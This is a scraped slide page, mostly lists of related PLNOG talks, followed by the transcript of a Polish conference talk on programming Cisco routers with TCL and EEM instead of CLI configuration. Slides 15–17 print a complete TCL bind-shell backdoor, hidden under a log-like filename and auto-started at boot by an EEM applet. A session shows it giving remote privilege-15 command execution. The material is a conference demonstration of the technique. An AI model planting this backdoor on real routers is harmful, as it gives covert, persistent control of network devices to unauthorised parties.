PLNOG 18 - Sylwester Biernacki - Co dalej z centrami danych? Wyższy poziom ne...PROIDEA
 
3 Things Every Sales Team Needs to Be Thinking About in 2017
3 Things Every Sales Team Needs to Be Thinking About in 20173 Things Every Sales Team Needs to Be Thinking About in 2017
3 Things Every Sales Team Needs to Be Thinking About in 2017Drift
 
How to Become a Thought Leader in Your Niche
How to Become a Thought Leader in Your NicheHow to Become a Thought Leader in Your Niche
How to Become a Thought Leader in Your NicheLeslie Samuel
 
PLNOG 18 - Karol Junde - Deployment mikroserwisów on-prem oraz w AWS
PLNOG 18 - Karol Junde - Deployment mikroserwisów on-prem oraz w AWSPLNOG 18 - Karol Junde - Deployment mikroserwisów on-prem oraz w AWS
PLNOG 18 - Karol Junde - Deployment mikroserwisów on-prem oraz w AWSPROIDEA
 
PLNOG 18 - Marcin Motylski - Budowa wirtualnego Data Center
PLNOG 18 - Marcin Motylski - Budowa wirtualnego Data CenterPLNOG 18 - Marcin Motylski - Budowa wirtualnego Data Center
PLNOG 18 - Marcin Motylski - Budowa wirtualnego Data CenterPROIDEA
 
PLNOG 18 - Grzegorz Siehień - Usługi Over-The-Top - szansa dla lokalnych oper...
PLNOG 18 - Grzegorz Siehień - Usługi Over-The-Top - szansa dla lokalnych oper...PLNOG 18 - Grzegorz Siehień - Usługi Over-The-Top - szansa dla lokalnych oper...
PLNOG 18 - Grzegorz Siehień - Usługi Over-The-Top - szansa dla lokalnych oper...PROIDEA
 
PLNOG 18 - Piotr Gruszczyński - Voice over LTE – bliższe VoIP niż LTE
PLNOG 18 - Piotr Gruszczyński - Voice over LTE – bliższe VoIP niż LTEPLNOG 18 - Piotr Gruszczyński - Voice over LTE – bliższe VoIP niż LTE
PLNOG 18 - Piotr Gruszczyński - Voice over LTE – bliższe VoIP niż LTEPROIDEA
 
PLNOG 18 - Paweł Małachowski - Spy hard czyli regexpem po pakietach
PLNOG 18 - Paweł Małachowski - Spy hard czyli regexpem po pakietachPLNOG 18 - Paweł Małachowski - Spy hard czyli regexpem po pakietach
PLNOG 18 - Paweł Małachowski - Spy hard czyli regexpem po pakietachPROIDEA
 
PLNOG 18 - Emil Gągała- Poznaj swoją aplikację – jak stworzyć politykę bezpie...
PLNOG 18 - Emil Gągała- Poznaj swoją aplikację – jak stworzyć politykę bezpie...PLNOG 18 - Emil Gągała- Poznaj swoją aplikację – jak stworzyć politykę bezpie...
PLNOG 18 - Emil Gągała- Poznaj swoją aplikację – jak stworzyć politykę bezpie...PROIDEA
 
PLNOG 18 - Adrian Kowalczyk i Piotr Goczał - BGP Flowspec czyli jeden ze spos...
PLNOG 18 - Adrian Kowalczyk i Piotr Goczał - BGP Flowspec czyli jeden ze spos...PLNOG 18 - Adrian Kowalczyk i Piotr Goczał - BGP Flowspec czyli jeden ze spos...
PLNOG 18 - Adrian Kowalczyk i Piotr Goczał - BGP Flowspec czyli jeden ze spos...PROIDEA
 
PLNOG 18 - Maciej Flak - Network as a Sensor czyli wykorzystanie NetFlow do m...
PLNOG 18 - Maciej Flak - Network as a Sensor czyli wykorzystanie NetFlow do m...PLNOG 18 - Maciej Flak - Network as a Sensor czyli wykorzystanie NetFlow do m...
PLNOG 18 - Maciej Flak - Network as a Sensor czyli wykorzystanie NetFlow do m...PROIDEA
 
PLNOG 18 - Jarosław Ulczok - Podsłuchać światłowód? Przezentacja LIVE + zasto...
PLNOG 18 - Jarosław Ulczok - Podsłuchać światłowód? Przezentacja LIVE + zasto...PLNOG 18 - Jarosław Ulczok - Podsłuchać światłowód? Przezentacja LIVE + zasto...
PLNOG 18 - Jarosław Ulczok - Podsłuchać światłowód? Przezentacja LIVE + zasto...PROIDEA
 

Andere mochten auch (17)

PLNOG 18 - Łukasz Jokiel - IoT w domu - Do It Yourself!
PLNOG 18 - Łukasz Jokiel - IoT w domu - Do It Yourself!PLNOG 18 - Łukasz Jokiel - IoT w domu - Do It Yourself!
PLNOG 18 - Łukasz Jokiel - IoT w domu - Do It Yourself!
 
PLNOG 18 - Sebastian Pasternacki - Bezpieczeństwo sieci operatorskich oraz en...
PLNOG 18 - Sebastian Pasternacki - Bezpieczeństwo sieci operatorskich oraz en...PLNOG 18 - Sebastian Pasternacki - Bezpieczeństwo sieci operatorskich oraz en...
PLNOG 18 - Sebastian Pasternacki - Bezpieczeństwo sieci operatorskich oraz en...
 
PLNOG 18 - Piotr Wojciechowski - REST API czyli jak miękko wejść w programowa...
PLNOG 18 - Piotr Wojciechowski - REST API czyli jak miękko wejść w programowa...PLNOG 18 - Piotr Wojciechowski - REST API czyli jak miękko wejść w programowa...
PLNOG 18 - Piotr Wojciechowski - REST API czyli jak miękko wejść w programowa...
 
PLNOG 18 - Bartek Raszczyk - London calling! Wnioski z wdrażania architektury...
PLNOG 18 - Bartek Raszczyk - London calling! Wnioski z wdrażania architektury...PLNOG 18 - Bartek Raszczyk - London calling! Wnioski z wdrażania architektury...
PLNOG 18 - Bartek Raszczyk - London calling! Wnioski z wdrażania architektury...
 
PLNOG 18 - Jerzy Paczocha- Transformacja krajowej sieci telekomunikacyjnej z ...
PLNOG 18 - Jerzy Paczocha- Transformacja krajowej sieci telekomunikacyjnej z ...PLNOG 18 - Jerzy Paczocha- Transformacja krajowej sieci telekomunikacyjnej z ...
PLNOG 18 - Jerzy Paczocha- Transformacja krajowej sieci telekomunikacyjnej z ...
 
PLNOG 18 - Sylwester Biernacki - Co dalej z centrami danych? Wyższy poziom ne...
PLNOG 18 - Sylwester Biernacki - Co dalej z centrami danych? Wyższy poziom ne...PLNOG 18 - Sylwester Biernacki - Co dalej z centrami danych? Wyższy poziom ne...
PLNOG 18 - Sylwester Biernacki - Co dalej z centrami danych? Wyższy poziom ne...
 
3 Things Every Sales Team Needs to Be Thinking About in 2017
3 Things Every Sales Team Needs to Be Thinking About in 20173 Things Every Sales Team Needs to Be Thinking About in 2017
3 Things Every Sales Team Needs to Be Thinking About in 2017
 
How to Become a Thought Leader in Your Niche
How to Become a Thought Leader in Your NicheHow to Become a Thought Leader in Your Niche
How to Become a Thought Leader in Your Niche
 
PLNOG 18 - Karol Junde - Deployment mikroserwisów on-prem oraz w AWS
PLNOG 18 - Karol Junde - Deployment mikroserwisów on-prem oraz w AWSPLNOG 18 - Karol Junde - Deployment mikroserwisów on-prem oraz w AWS
PLNOG 18 - Karol Junde - Deployment mikroserwisów on-prem oraz w AWS
 
PLNOG 18 - Marcin Motylski - Budowa wirtualnego Data Center
PLNOG 18 - Marcin Motylski - Budowa wirtualnego Data CenterPLNOG 18 - Marcin Motylski - Budowa wirtualnego Data Center
PLNOG 18 - Marcin Motylski - Budowa wirtualnego Data Center
 
PLNOG 18 - Grzegorz Siehień - Usługi Over-The-Top - szansa dla lokalnych oper...
PLNOG 18 - Grzegorz Siehień - Usługi Over-The-Top - szansa dla lokalnych oper...PLNOG 18 - Grzegorz Siehień - Usługi Over-The-Top - szansa dla lokalnych oper...
PLNOG 18 - Grzegorz Siehień - Usługi Over-The-Top - szansa dla lokalnych oper...
 
PLNOG 18 - Piotr Gruszczyński - Voice over LTE – bliższe VoIP niż LTE
PLNOG 18 - Piotr Gruszczyński - Voice over LTE – bliższe VoIP niż LTEPLNOG 18 - Piotr Gruszczyński - Voice over LTE – bliższe VoIP niż LTE
PLNOG 18 - Piotr Gruszczyński - Voice over LTE – bliższe VoIP niż LTE
 
PLNOG 18 - Paweł Małachowski - Spy hard czyli regexpem po pakietach
PLNOG 18 - Paweł Małachowski - Spy hard czyli regexpem po pakietachPLNOG 18 - Paweł Małachowski - Spy hard czyli regexpem po pakietach
PLNOG 18 - Paweł Małachowski - Spy hard czyli regexpem po pakietach
 
PLNOG 18 - Emil Gągała- Poznaj swoją aplikację – jak stworzyć politykę bezpie...
PLNOG 18 - Emil Gągała- Poznaj swoją aplikację – jak stworzyć politykę bezpie...PLNOG 18 - Emil Gągała- Poznaj swoją aplikację – jak stworzyć politykę bezpie...
PLNOG 18 - Emil Gągała- Poznaj swoją aplikację – jak stworzyć politykę bezpie...
 
PLNOG 18 - Adrian Kowalczyk i Piotr Goczał - BGP Flowspec czyli jeden ze spos...
PLNOG 18 - Adrian Kowalczyk i Piotr Goczał - BGP Flowspec czyli jeden ze spos...PLNOG 18 - Adrian Kowalczyk i Piotr Goczał - BGP Flowspec czyli jeden ze spos...
PLNOG 18 - Adrian Kowalczyk i Piotr Goczał - BGP Flowspec czyli jeden ze spos...
 
PLNOG 18 - Maciej Flak - Network as a Sensor czyli wykorzystanie NetFlow do m...
PLNOG 18 - Maciej Flak - Network as a Sensor czyli wykorzystanie NetFlow do m...PLNOG 18 - Maciej Flak - Network as a Sensor czyli wykorzystanie NetFlow do m...
PLNOG 18 - Maciej Flak - Network as a Sensor czyli wykorzystanie NetFlow do m...
 
PLNOG 18 - Jarosław Ulczok - Podsłuchać światłowód? Przezentacja LIVE + zasto...
PLNOG 18 - Jarosław Ulczok - Podsłuchać światłowód? Przezentacja LIVE + zasto...PLNOG 18 - Jarosław Ulczok - Podsłuchać światłowód? Przezentacja LIVE + zasto...
PLNOG 18 - Jarosław Ulczok - Podsłuchać światłowód? Przezentacja LIVE + zasto...
 

Ähnlich wie PLNOG 18 - Robert Ślaski - Programowanie a nie konfiguracja - porozmawiajmy z Cisco po nowemu

Security B-Sides Warsaw 2013 - Masywna Telemetria NetFlow jest Masywna - Gawe...
Security B-Sides Warsaw 2013 - Masywna Telemetria NetFlow jest Masywna - Gawe...Security B-Sides Warsaw 2013 - Masywna Telemetria NetFlow jest Masywna - Gawe...
Security B-Sides Warsaw 2013 - Masywna Telemetria NetFlow jest Masywna - Gawe...Gawel Mikolajczyk
 
PLNOG 13: Robert Ślaski: NFV, Virtualise networks or die – the voice of the r...
PLNOG 13: Robert Ślaski: NFV, Virtualise networks or die – the voice of the r...PLNOG 13: Robert Ślaski: NFV, Virtualise networks or die – the voice of the r...
PLNOG 13: Robert Ślaski: NFV, Virtualise networks or die – the voice of the r...PROIDEA
 
Programuj wbrew regułom. Barcamp Semihalf S08:E02 29/05/2018
Programuj wbrew regułom. Barcamp Semihalf S08:E02 29/05/2018Programuj wbrew regułom. Barcamp Semihalf S08:E02 29/05/2018
Programuj wbrew regułom. Barcamp Semihalf S08:E02 29/05/2018Semihalf
 
PLNOG 22 - Krzysztof Załęski - Praktyczne zastosowanie narzędzi NetDevOps
PLNOG 22 - Krzysztof Załęski - Praktyczne zastosowanie narzędzi NetDevOpsPLNOG 22 - Krzysztof Załęski - Praktyczne zastosowanie narzędzi NetDevOps
PLNOG 22 - Krzysztof Załęski - Praktyczne zastosowanie narzędzi NetDevOpsPROIDEA
 
PLNOG 8: Krzysztof Konkowski - GigabitEthernetem routera agregacyjnego do nie...
PLNOG 8: Krzysztof Konkowski - GigabitEthernetem routera agregacyjnego do nie...PLNOG 8: Krzysztof Konkowski - GigabitEthernetem routera agregacyjnego do nie...
PLNOG 8: Krzysztof Konkowski - GigabitEthernetem routera agregacyjnego do nie...PROIDEA
 
PLNOG 9: Robert Ślaski - SKALOWALNE SZYFROWANIE USŁUG W SIECI OPERATORA - prz...
PLNOG 9: Robert Ślaski - SKALOWALNE SZYFROWANIE USŁUG W SIECI OPERATORA - prz...PLNOG 9: Robert Ślaski - SKALOWALNE SZYFROWANIE USŁUG W SIECI OPERATORA - prz...
PLNOG 9: Robert Ślaski - SKALOWALNE SZYFROWANIE USŁUG W SIECI OPERATORA - prz...PROIDEA
 
PLNOG15: 10 questions before you deploy Cisco ACI (or any other programmable ...
PLNOG15: 10 questions before you deploy Cisco ACI (or any other programmable ...PLNOG15: 10 questions before you deploy Cisco ACI (or any other programmable ...
PLNOG15: 10 questions before you deploy Cisco ACI (or any other programmable ...PROIDEA
 
PLNOG 8: Lucjan Kisiel, Marcin Matyla - Router brzegowy z wydolnością 3 Gb ru...
PLNOG 8: Lucjan Kisiel, Marcin Matyla - Router brzegowy z wydolnością 3 Gb ru...PLNOG 8: Lucjan Kisiel, Marcin Matyla - Router brzegowy z wydolnością 3 Gb ru...
PLNOG 8: Lucjan Kisiel, Marcin Matyla - Router brzegowy z wydolnością 3 Gb ru...PROIDEA
 
PLNOG 13: Gaweł Mikołajczyk: Data Center Security in 2014
PLNOG 13: Gaweł Mikołajczyk: Data Center Security in 2014PLNOG 13: Gaweł Mikołajczyk: Data Center Security in 2014
PLNOG 13: Gaweł Mikołajczyk: Data Center Security in 2014PROIDEA
 
PLNOG 21: Piotr Okupski - Wieloetapowe_filtrowanie_ruchu_DDoS_za_pomocą_Wangu...
PLNOG 21: Piotr Okupski - Wieloetapowe_filtrowanie_ruchu_DDoS_za_pomocą_Wangu...PLNOG 21: Piotr Okupski - Wieloetapowe_filtrowanie_ruchu_DDoS_za_pomocą_Wangu...
PLNOG 21: Piotr Okupski - Wieloetapowe_filtrowanie_ruchu_DDoS_za_pomocą_Wangu...PROIDEA
 
PLNOG 5: Łukasz Bromirski - Locator/ID SPlit (LISP)
PLNOG 5: Łukasz Bromirski - Locator/ID SPlit (LISP)PLNOG 5: Łukasz Bromirski - Locator/ID SPlit (LISP)
PLNOG 5: Łukasz Bromirski - Locator/ID SPlit (LISP)PROIDEA
 
Łukasz Bromirski - Najlepsze praktyki zabezpieczania sieci klasy operatorskiej
Łukasz Bromirski - Najlepsze praktyki zabezpieczania sieci klasy operatorskiejŁukasz Bromirski - Najlepsze praktyki zabezpieczania sieci klasy operatorskiej
Łukasz Bromirski - Najlepsze praktyki zabezpieczania sieci klasy operatorskiejPROIDEA
 
100 M pakietów na sekundę dla każdego.
100 M pakietów na sekundę dla każdego. 100 M pakietów na sekundę dla każdego.
100 M pakietów na sekundę dla każdego. Redge Technologies
 
PLNOG 5: Łukasz Bromirski - Wysoka dostępność w sieciach operatorskich
PLNOG 5: Łukasz Bromirski - Wysoka dostępność w sieciach operatorskich PLNOG 5: Łukasz Bromirski - Wysoka dostępność w sieciach operatorskich
PLNOG 5: Łukasz Bromirski - Wysoka dostępność w sieciach operatorskich PROIDEA
 
Programowanie Komponentowe: #D Model komponentowy OSGi
Programowanie Komponentowe: #D Model komponentowy OSGiProgramowanie Komponentowe: #D Model komponentowy OSGi
Programowanie Komponentowe: #D Model komponentowy OSGiMikołaj Olszewski
 
PLNOG 8: Marcin Bala, Michał Furmański - Kompleksowe rozwiązania TriplePlay o...
PLNOG 8: Marcin Bala, Michał Furmański - Kompleksowe rozwiązania TriplePlay o...PLNOG 8: Marcin Bala, Michał Furmański - Kompleksowe rozwiązania TriplePlay o...
PLNOG 8: Marcin Bala, Michał Furmański - Kompleksowe rozwiązania TriplePlay o...PROIDEA
 
PLNOG 8: Przemysław Grygiel - Data Center Allegro wyboista droga L2 do autost...
PLNOG 8: Przemysław Grygiel - Data Center Allegro wyboista droga L2 do autost...PLNOG 8: Przemysław Grygiel - Data Center Allegro wyboista droga L2 do autost...
PLNOG 8: Przemysław Grygiel - Data Center Allegro wyboista droga L2 do autost...PROIDEA
 
Troubleshooting routers haslo bez mozliwosci odzyskania
Troubleshooting routers haslo bez mozliwosci odzyskaniaTroubleshooting routers haslo bez mozliwosci odzyskania
Troubleshooting routers haslo bez mozliwosci odzyskaniaprojos
 

Ähnlich wie PLNOG 18 - Robert Ślaski - Programowanie a nie konfiguracja - porozmawiajmy z Cisco po nowemu (20)

Security B-Sides Warsaw 2013 - Masywna Telemetria NetFlow jest Masywna - Gawe...
Security B-Sides Warsaw 2013 - Masywna Telemetria NetFlow jest Masywna - Gawe...Security B-Sides Warsaw 2013 - Masywna Telemetria NetFlow jest Masywna - Gawe...
Security B-Sides Warsaw 2013 - Masywna Telemetria NetFlow jest Masywna - Gawe...
 
PLNOG 13: Robert Ślaski: NFV, Virtualise networks or die – the voice of the r...
PLNOG 13: Robert Ślaski: NFV, Virtualise networks or die – the voice of the r...PLNOG 13: Robert Ślaski: NFV, Virtualise networks or die – the voice of the r...
PLNOG 13: Robert Ślaski: NFV, Virtualise networks or die – the voice of the r...
 
Programuj wbrew regułom. Barcamp Semihalf S08:E02 29/05/2018
Programuj wbrew regułom. Barcamp Semihalf S08:E02 29/05/2018Programuj wbrew regułom. Barcamp Semihalf S08:E02 29/05/2018
Programuj wbrew regułom. Barcamp Semihalf S08:E02 29/05/2018
 
Monitoring sieci
Monitoring sieciMonitoring sieci
Monitoring sieci
 
PLNOG 22 - Krzysztof Załęski - Praktyczne zastosowanie narzędzi NetDevOps
PLNOG 22 - Krzysztof Załęski - Praktyczne zastosowanie narzędzi NetDevOpsPLNOG 22 - Krzysztof Załęski - Praktyczne zastosowanie narzędzi NetDevOps
PLNOG 22 - Krzysztof Załęski - Praktyczne zastosowanie narzędzi NetDevOps
 
PLNOG 8: Krzysztof Konkowski - GigabitEthernetem routera agregacyjnego do nie...
PLNOG 8: Krzysztof Konkowski - GigabitEthernetem routera agregacyjnego do nie...PLNOG 8: Krzysztof Konkowski - GigabitEthernetem routera agregacyjnego do nie...
PLNOG 8: Krzysztof Konkowski - GigabitEthernetem routera agregacyjnego do nie...
 
PLNOG 9: Robert Ślaski - SKALOWALNE SZYFROWANIE USŁUG W SIECI OPERATORA - prz...
PLNOG 9: Robert Ślaski - SKALOWALNE SZYFROWANIE USŁUG W SIECI OPERATORA - prz...PLNOG 9: Robert Ślaski - SKALOWALNE SZYFROWANIE USŁUG W SIECI OPERATORA - prz...
PLNOG 9: Robert Ślaski - SKALOWALNE SZYFROWANIE USŁUG W SIECI OPERATORA - prz...
 
PLNOG15: 10 questions before you deploy Cisco ACI (or any other programmable ...
PLNOG15: 10 questions before you deploy Cisco ACI (or any other programmable ...PLNOG15: 10 questions before you deploy Cisco ACI (or any other programmable ...
PLNOG15: 10 questions before you deploy Cisco ACI (or any other programmable ...
 
PLNOG 8: Lucjan Kisiel, Marcin Matyla - Router brzegowy z wydolnością 3 Gb ru...
PLNOG 8: Lucjan Kisiel, Marcin Matyla - Router brzegowy z wydolnością 3 Gb ru...PLNOG 8: Lucjan Kisiel, Marcin Matyla - Router brzegowy z wydolnością 3 Gb ru...
PLNOG 8: Lucjan Kisiel, Marcin Matyla - Router brzegowy z wydolnością 3 Gb ru...
 
PLNOG 13: Gaweł Mikołajczyk: Data Center Security in 2014
PLNOG 13: Gaweł Mikołajczyk: Data Center Security in 2014PLNOG 13: Gaweł Mikołajczyk: Data Center Security in 2014
PLNOG 13: Gaweł Mikołajczyk: Data Center Security in 2014
 
PLNOG 21: Piotr Okupski - Wieloetapowe_filtrowanie_ruchu_DDoS_za_pomocą_Wangu...
PLNOG 21: Piotr Okupski - Wieloetapowe_filtrowanie_ruchu_DDoS_za_pomocą_Wangu...PLNOG 21: Piotr Okupski - Wieloetapowe_filtrowanie_ruchu_DDoS_za_pomocą_Wangu...
PLNOG 21: Piotr Okupski - Wieloetapowe_filtrowanie_ruchu_DDoS_za_pomocą_Wangu...
 
PLNOG 5: Łukasz Bromirski - Locator/ID SPlit (LISP)
PLNOG 5: Łukasz Bromirski - Locator/ID SPlit (LISP)PLNOG 5: Łukasz Bromirski - Locator/ID SPlit (LISP)
PLNOG 5: Łukasz Bromirski - Locator/ID SPlit (LISP)
 
Łukasz Bromirski - Najlepsze praktyki zabezpieczania sieci klasy operatorskiej
Łukasz Bromirski - Najlepsze praktyki zabezpieczania sieci klasy operatorskiejŁukasz Bromirski - Najlepsze praktyki zabezpieczania sieci klasy operatorskiej
Łukasz Bromirski - Najlepsze praktyki zabezpieczania sieci klasy operatorskiej
 
100 M pakietów na sekundę dla każdego.
100 M pakietów na sekundę dla każdego. 100 M pakietów na sekundę dla każdego.
100 M pakietów na sekundę dla każdego.
 
PLNOG 5: Łukasz Bromirski - Wysoka dostępność w sieciach operatorskich
PLNOG 5: Łukasz Bromirski - Wysoka dostępność w sieciach operatorskich PLNOG 5: Łukasz Bromirski - Wysoka dostępność w sieciach operatorskich
PLNOG 5: Łukasz Bromirski - Wysoka dostępność w sieciach operatorskich
 
Programowanie Komponentowe: #D Model komponentowy OSGi
Programowanie Komponentowe: #D Model komponentowy OSGiProgramowanie Komponentowe: #D Model komponentowy OSGi
Programowanie Komponentowe: #D Model komponentowy OSGi
 
PLNOG 8: Marcin Bala, Michał Furmański - Kompleksowe rozwiązania TriplePlay o...
PLNOG 8: Marcin Bala, Michał Furmański - Kompleksowe rozwiązania TriplePlay o...PLNOG 8: Marcin Bala, Michał Furmański - Kompleksowe rozwiązania TriplePlay o...
PLNOG 8: Marcin Bala, Michał Furmański - Kompleksowe rozwiązania TriplePlay o...
 
PLNOG 8: Przemysław Grygiel - Data Center Allegro wyboista droga L2 do autost...
PLNOG 8: Przemysław Grygiel - Data Center Allegro wyboista droga L2 do autost...PLNOG 8: Przemysław Grygiel - Data Center Allegro wyboista droga L2 do autost...
PLNOG 8: Przemysław Grygiel - Data Center Allegro wyboista droga L2 do autost...
 
Wysoko wydajne sieci TCP/IP
Wysoko wydajne sieci TCP/IPWysoko wydajne sieci TCP/IP
Wysoko wydajne sieci TCP/IP
 
Troubleshooting routers haslo bez mozliwosci odzyskania
Troubleshooting routers haslo bez mozliwosci odzyskaniaTroubleshooting routers haslo bez mozliwosci odzyskania
Troubleshooting routers haslo bez mozliwosci odzyskania
 

PLNOG 18 - Robert Ślaski - Programowanie a nie konfiguracja - porozmawiajmy z Cisco po nowemu

  • 1. Programowanie, a nie konfiguracja - porozmawiajmy z Cisco po nowemu Robert Ślaski Chief Network Architect CCIE#10877 PLNOG18 6-7.03.2018 Warszawa Robert Ślaski Chief Network Architect CCIE#10877 PLNOG18 6-7.03.2018 Warszawa
  • 2. Jamci 2 Moore's law reinvented: „Computing power required to display 'Hello world' doubles every two years"
  • 3. Bezrobocie i głód zagląda w oczy nam, sieciowcom! Coś róbmy, coś zaróbmy! Pakiety na trasowniki! A może się przystosować? Na PLNOG17 temat cyberbezrobocia wzbudził niejakie zainteresowanie 2
  • 4. O tym będzie to spotkanie… Programowanie jest najważniejsze 2
  • 5. 5 enejblując a utoma ty za cj ę w owerlejach esdeenów za pewnia my or k iestr a cj ę r isor sów augumentuj ąc ą a d żility Czasy się zmieniają…
  • 6. 6 Inżynierowie od sieci nie potrafią programować (*) Potrzebna jest nam swego rodzaju kuracja odmładzająca (*) dobrze … a inżynierowie sieciowi nie bardzo
  • 7. 7 Skrypt do pingowania wielu hostów Zaawansowane filtrowanie logów, albo komend Przełączanie na ścieżkę zapasową, ale tylko w godzinach pracy Automatyczne dodawanie wpisów do tablicy routingu Parsowanie konfiguracji routingu do pliku CSV Dodanie parametryzowanej konfiguracji do wszystkich interfejsów Konfiguracja poprzez obiekty na różnych platformach Orkiestracja farmy urządzeń sieciowych Zaprogramowanie kontrolera SDN […] Przykładowe problemy sieciowca
  • 8. 8 Będzie o trzech fazach migracji od klasycznego CLI urządzeń do ich programowania: Programowaniu z użyciem mechanizmów wbudowanych Programowaniu jeszcze z użyciem CLI Programowaniu na całego, czyli bez CLI O czym nie będzie? Nie będzie o SDNach Nie będzie o SNMP – to się nie nadaje do konfiguracji Nie będzie o wielu ciekawych rzeczach, które powinny tu się znaleźć, ale na które nie starczy czasu Trzy fazy odwyku od CLI
  • 10. 10 Interpreter TCL w IOS IOS Shell EEM (Embedded Event Manager) ESM (Embedded Syslog Manager) I. Automatyzacja z użyciem mechanizmów wbudowanych w Cisco
  • 11. 11 Wbudowany w IOS interpretowany język skryptowy http://www.tcl.tk Wcześniej znany jako narzędzie skryptów IVR i ping, obecnie siła napędowa EEM oraz ESM Umożliwia wykonanie komend exec oraz konfiguracyjnych, dostęp do obiektów SNMP, otwieranie socketów TCP/UDP (yes!) Wymaga privilege level 15 TCL 7.x w IOS od tzw. zawsze (ok. 1994), TCL 8.3.4 od 12.3(2)T Interpreter TCL w IOS Cisco#? Exec commands: […] tclquit Quit Tool Command Language shell tclsh Tool Command Language shell
  • 12. 12 Brak większej pomocy dla TCL w IOS, ale działa Wykonywanie skryptów in-line oraz wczytywanych z pliku Interpreter TCL w IOS Cisco#tclsh Cisco(tcl)#foreach ? % Unrecognized command Cisco(tcl)#foreach wrong # args: should be "foreach varList list ?varList list ...? command" Cisco(tcl)#tclq Cisco#? Cisco#more bootflash:/ping.tcl foreach host [list "10.139.1.1" "10.139.1.3" "10.139.2.5"] { set output [exec "ping $host repeat 1"] if { ![regexp {!} $output] } { puts "Host $host is not reachable" } } Cisco# tclsh bootflash:/ping.tcl Host 10.139.1.1 is not reachable Host 10.139.1.3 is not reachable Host 10.139.2.5 is not reachable
  • 13. 13 Najprostszy ping script – przyjaciel każdego, kto podchodził do laba CCIE Interpreter TCL w IOS foreach pl { 5.5.5.5 10.0.0.1 } { ping $pl re 1} Cisco(tcl)#foreach pl { +>5.5.5.5 +>10.0.0.1 +>} { ping $pl re 1} Type escape sequence to abort. Sending 1, 100-byte ICMP Echos to 5.5.5.5, timeout is 2 seconds: ! Success rate is 100 percent (1/1), round-trip min/avg/max = 3/3/3 ms Type escape sequence to abort. Sending 1, 100-byte ICMP Echos to 10.0.0.1, timeout is 2 seconds: ! Success rate is 100 percent (1/1), round-trip min/avg/max = 2/2/2 ms Cisco(tcl)#
  • 14. 14 Może Telnet na port 1111 aby pograć w Tetris na routerze? Interpreter TCL w IOS O================O | | | | | | | | | | | | | | | | | ## | | ## | | | | | | | | | | | | | O================O Current score: 0 w or space - rotate s - drop a - move right d - move left enter - pause TCP connection from 10.139.250.223:58431 to TSERV sock2 socket was registered Loading Tetrios. Please wait. =) =============================================== || _0_/ || |||||| / | |||||| |||||||||| |_/0 |||||||||| |||||||||||||| /0|||||||||||||| |||||||||||||||||| |||||||||||||||||| .||||||||||||||||||||||.||||||||||||||||||||||. =========== Welcome to Tetrios! =============== ============== version 1.1 ==================== === (c) 2011 Petr Ankudinov === === mail: netl0g.blog@blogspot.com === === http://netl0g.blogspot.com/ === =============================================== === Stop CCIE madness! Gain maximum Score! === =============================================== ====== Tetrios is a very useful tool for ====== ======= a lonely engineer with a router ======= ============ on a desert island. ============== =============================================== ======== Please, do not play too much ========= =========== on production routers. ============ =============================================== ========== Press "Enter" to continue ========== ========== Ctrl+C to exit at any time ========= =============================================== Cisco#tclsh bootflash:/tetrios.tcl
  • 15. 15 A może zainstalować backdoora w ukrytym pliku TCL? Który uruchomi się zawsze po starcie routera dzięki skryptowi EEM? Interpreter TCL w IOS Cisco#dir Directory of bootflash:/ 11 drwx 16384 Aug 27 2015 13:19:42 +02:00 lost+found 16 -rw- 13125 Oct 6 2016 11:19:02 +02:00 isg_20161005.cfg 20 -rw- 19118 Mar 3 2017 23:00:26 +01:00 tetrios.tcl 777217 drwx 4096 Aug 27 2015 13:23:04 +02:00 .installer 113345 drwx 24576 Mar 2 2017 21:41:37 +01:00 tracelogs 21 -rw- 870 Mar 3 2017 23:32:18 +01:00 tracelogs.780 13 -rwx 9300 Aug 27 2015 13:45:36 +02:00 tracelogs.790 323841 drwx 4096 Jan 1 1970 01:04:33 +01:00 core 210497 drwx 4096 Oct 25 2016 16:55:10 +02:00 .prst_sync 194305 drwx 4096 Aug 27 2015 13:51:24 +02:00 .rollback_timer 14 -rw- 359790956 Oct 19 2015 16:16:35 +02:00 asr1000rp1-advipservicesk9.03.09.02.S.153-2.S2.bin 12 -rw- 390699644 Nov 16 2015 21:58:16 +01:00 asr1000rp1-advipservicesk9.03.16.01a.S.155-3.S1a-ext.bin 15 -rw- 385288828 Nov 17 2015 09:22:32 +01:00 asr1000rp1-advipservicesk9.03.15.02.S.155-2.S2-std.bin 18 -rw- 340537656 Oct 6 2016 11:49:34 +02:00 asr1000rp1-advipservicesk9.03.07.06.S.152-4.S6.bin 19 -rw- 385239672 Oct 25 2016 10:33:56 +02:00 asr1000rp1-advipservicesk9_noli.03.15.03.S.155-2.S3-std.bin 7819087872 bytes total (5555105792 bytes free) Cisco#sh run | s event man event manager applet EnableInterfaceStatus event timer countdown time 5 action 1.0 cli command "enable" action 1.1 cli command "tclsh bootflash:/tracelogs.780"
  • 16. 16 A może jednak zainstalować backdoora w ukrytym pliku TCL? Interpreter TCL w IOS Cisco#more bootflash:/tracelogs.780 # TclShell.tcl v0.1 by Andy Davis, IRM 2007 # # IRM accepts no responsibility for the misuse of this code # It is provided for demonstration purposes only proc callback {sock addr port} { fconfigure $sock -translation lf -buffering line puts $sock " " puts $sock "-------------------------------------" puts $sock "TclShell v0.1 by Andy Davis, IRM 2007" puts $sock "-------------------------------------" puts $sock " " set response [exec "sh ver | inc IOS"] puts $sock $response set response [exec "sh priv"] puts $sock $response puts $sock " " puts $sock "Enter IOS command:" fileevent $sock readable [list echo $sock] } proc echo {sock} { global var if {[eof $sock] || [catch {gets $sock line}]} { } else { set response [exec "$line"] puts $sock $response } } set port 1234 set sh [socket -server callback $port] vwait var close $sh Rada: socketów lepiej używać w skryptach wywoływanych z EEM – można się wtedy odpiąć od terminala VTY
  • 17. 17 Działającego backdoora! Interpreter TCL w IOS [rsl@kali ~]$ telnet 10.133.251.40 1234 Trying 10.133.251.40... Connected to 10.133.251.40 (10.133.251.40). Escape character is '^]'. ------------------------------------- TclShell v0.1 by Andy Davis, IRM 2007 ------------------------------------- Cisco IOS XE Software, Version 03.15.03.S - Standard Support Release Cisco IOS Software, ASR1000 Software (PPC_LINUX_IOSD-ADVIPSERVICESK9_NOLI-M), Version 15.5(2)S3, RELEASE SOFTWARE (fc2) Cisco IOS-XE software, Copyright (c) 2005-2016 by cisco Systems, Inc. All rights reserved. Certain components of Cisco IOS-XE software are documentation or "License Notice" file accompanying the IOS-XE software, or the applicable URL provided on the flyer accompanying the IOS-XE ROM: IOS-XE ROMMON Current privilege level is 15 Enter IOS command:show run Building configuration... Current configuration : 12041 bytes ! ! Last configuration change at 22:21:32 CET Fri Mar 3 2017 by rsl ! NVRAM config last updated at 17:35:06 CEST Tue 